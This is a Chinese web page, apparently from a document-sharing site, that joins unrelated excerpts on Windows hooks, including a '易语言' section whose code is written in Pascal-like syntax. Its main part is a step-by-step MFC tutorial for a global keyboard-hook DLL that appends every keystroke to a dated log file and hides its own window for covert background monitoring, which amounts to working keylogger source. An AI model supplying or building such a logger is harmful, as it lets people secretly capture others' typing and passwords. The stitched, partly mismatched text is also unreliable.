3. 使用示例下面是一个钩取鼠标消息的例子:LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {// 鼠标钩子处理函数// ...return CallNextHookEx(NULL, nCode, wParam, lParam);}int main() {HINSTANCE hInstance = GetModuleHandle(NULL);HHOOK hHook = SetWindowsHookEx(WH_MOUSE, MouseProc, hInstance, 0);if (hHook != NULL) {// 钩子安装成功,可以进行处理MSG msg;while (GetMessage(&msg, NULL, 0, 0)) {TranslateMessage(&msg);DispatchMessage(&msg);}UnhookWindowsHookEx(hHook); // 卸载钩子}return 0;}4. 注意事项•钩子函数需要放在动态链接库(DLL)中,以便被注入到其他进程中。

setwindowshookex函数易语言用法 -回复

setwindowshookex函数易语言用法 -回复

setwindowshookex函数易语言用法-回复setwindowshookex函数是Windows操作系统提供的一个强大的函数,可用于在系统级别捕获和处理各种窗口相关事件,如鼠标点击、键盘输入、窗口创建和关闭等。

本文将详细介绍setwindowshookex函数的易语言用法,以帮助读者更好地理解和应用这一函数。

第一步:了解setwindowshookex函数的基本概念和作用。

setwindowshookex函数是Windows操作系统中的一种钩子函数,可以用于实现窗口操作的全局监控和拦截。

通常,我们需要在一个宿主程序中使用这个函数,并指定一个回调函数,当特定事件发生时,系统将调用这个回调函数,并将相关的信息传递给它,从而我们可以在回调函数中对这些事件进行处理。

第二步:明确setwindowshookex函数的参数和返回值。

在使用setwindowshookex函数之前,我们需要了解它的参数和返回值,这样才能正确地调用和处理。

下面是setwindowshookex函数的声明和参数说明:int setwindowshookex(int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId);其中,idHook参数指定了钩子的类型,lpfn参数是一个指向回调函数的指针,hmod参数是宿主程序的实例句柄,dwThreadId参数用于指定钩子线程的ID。

setwindowshookex函数的返回值是一个类型为HHOOK的句柄,它用于标识钩子的实例,我们可以使用这个句柄来更新或移除钩子。

第三步:创建回调函数。

回调函数是setwindowshookex函数的核心部分,它会在特定事件发生时被调用。

在易语言中,我们可以通过声明一个带有特定参数和返回值的函数来实现回调函数。

下面是一个简单的回调函数示例:proc MyCallbackProc(nCode: integer, wParam: integer, lParam: integer) : integer;begin在这里处理事件,如判断鼠标点击的位置,或者拦截并修改键盘输入end;在这个示例中,MyCallbackProc是我们自定义的回调函数,它接受三个参数:nCode用于指示事件类型,wParam和lParam用于传递事件相关的信息。

监测键盘状态的方法

监测键盘状态的方法

监测键盘状态的方法下面将介绍几种常见的监测键盘状态的方法:1.轮询模式检测键盘状态:在轮询模式下,应用程序会在一个循环中不断地检测键盘状态。

该循环可以由操作系统提供的API函数实现,也可以由程序员编写自定义的循环来检测键盘状态。

轮询模式是最简单、最常见的键盘监测方法。

其基本流程如下:(1)初始化键盘状态变量。

(2)进入循环。

(3)检测键盘状态。

(4)根据键盘状态来执行相应的操作。

(5)返回第三步。

2.事件驱动模式检测键盘状态:在事件驱动模式下,应用程序会注册一个键盘事件监听器,当有键盘事件发生时,操作系统会通知应用程序,应用程序再根据具体的事件类型做出相应的处理。

其基本步骤如下:(1)注册键盘事件监听器。

(2)进入事件循环。

(3)等待键盘事件发生。

(4)根据事件类型执行相应的操作。

(5)返回第三步。

3.钩子模式检测键盘状态:钩子模式是一种更底层、更复杂的键盘监测方法,它可以在操作系统级别进行键盘状态的监测,因此比轮询模式和事件驱动模式更灵活和强大。

其基本步骤如下:(1)安装键盘钩子。

(2)等待钩子回调函数被触发。

(3)根据钩子回调函数中传递的参数,获取键盘状态。

(4)根据键盘状态执行相应的操作。

(5)返回第二步。

需要注意的是,钩子模式的使用需要一定的权限,因为它可以在操作系统级别进行键盘状态的监测,如果被恶意程序滥用,可能会对系统稳定性和安全性造成威胁。

除了上述三种常见的监测键盘状态的方法,还可以使用操作系统提供的键盘状态查询API函数,例如Windows平台下的GetKeyState函数和GetAsyncKeyState函数,它们可以获取当前按键的状态。

总结起来,监测键盘状态有轮询模式、事件驱动模式和钩子模式等几种常见的方法。

选择哪种方法取决于具体的应用场景和需求。

在实际应用中,可以根据具体情况进行选择和结合使用,以满足对键盘状态监测的要求。

大漠hook方法

大漠hook方法

大漠hook方法大漠是一个知名的游戏引擎,它提供了一系列的API和方法来实现游戏的功能和交互。

在大漠中,Hook是一种重要的技术手段,它可以用来修改游戏中的默认行为或者扩展游戏的功能。

下面将详细介绍大漠Hook方法的相关内容。

一、大漠Hook方法的概念在大漠中,Hook是一种对游戏引擎默认行为进行修改或扩展的技术。

它通过截取和处理游戏引擎的函数调用,来实现对游戏行为的干预和控制。

通过使用Hook 技术,开发者可以在不修改游戏源代码的情况下,对游戏进行一些定制化的改造,以满足特定的需求。

二、大漠Hook方法的实现原理大漠Hook方法的实现原理主要基于Windows系统中的函数钩子(Function Hook)机制。

函数钩子是一种在运行时动态修改函数调用的技术,它允许开发者通过修改函数表中的函数指针,来实现对函数调用的干预和控制。

大漠利用函数钩子机制,在游戏引擎的函数调用前后插入自定义的代码,从而实现对游戏行为的Hook。

具体来说,大漠Hook的实现步骤如下:1.找到需要Hook的函数,并获取其函数地址。

2.创建一个新的函数,该函数包含与原始函数相同的参数和返回值类型。

3.在新的函数中,添加需要在函数调用前后执行的自定义代码。

4.使用Windows系统提供的函数钩子机制,将新的函数指针替换掉原始函数的函数指针。

5.当游戏引擎调用原始函数时,实际上会跳转到新的函数中执行自定义代码,然后再调用原始函数。

6.在新的函数中,可以修改原始函数的返回值或者参数,以达到修改游戏行为的目的。

三、大漠Hook方法的分类在大漠中,Hook方法主要分为以下几类:1.键盘Hook:用于截取和修改键盘输入信号,从而实现自定义的键盘操作行为。

键盘Hook可以帮助开发者实现一些快捷键、自定义按键等功能。

2.鼠标Hook:用于截取和修改鼠标输入信号,从而实现自定义的鼠标操作行为。

鼠标Hook可以实现一些定制化的鼠标点击、移动和拖拽等功能。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

用键盘钩子在Windows平台捕获键盘动作
一、引言
我们可以在应用程序中毫不费力的捕获在本程序窗口上所进行的键盘操作,但如果我们想要将此程序作成一个监控程序,捕获在Windows平台下任意窗口上的键盘操作,就需要借助于全局钩子来实现了。

二、系统钩子和DLL
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。

钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。

此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。

在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。

在本程序中为方便起见采用了标准静态连接MFC DLL。

三、键盘钩子程序示例
本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。

1、首先编制MFC扩展动态连接库LaunchDLL.dll:
(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。

(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
(4)完成以上提到的这几个函数的实现部分:
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx 来安装这个钩子函数,其原型是:
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。

……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。

……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。

编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。

2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:
(1)用MFC的AppWizard(EXE)创建项目KeyHook;
(2)选择单文档,其余几步可均为确省;
(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。

(4)链接DLL库,即在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。

再通过"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:
#include "LaunchDLL.h"
这样我们就可以象使用本工程内的函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。

(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
……
InstallLaunchEv();
……
(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为m_pMainWnd->ShowWindow(SW_HIDE);即可。

四、运行与检测
编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。

小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。

这种技术广泛应用于各种自动监控系统中。

相关文档
最新文档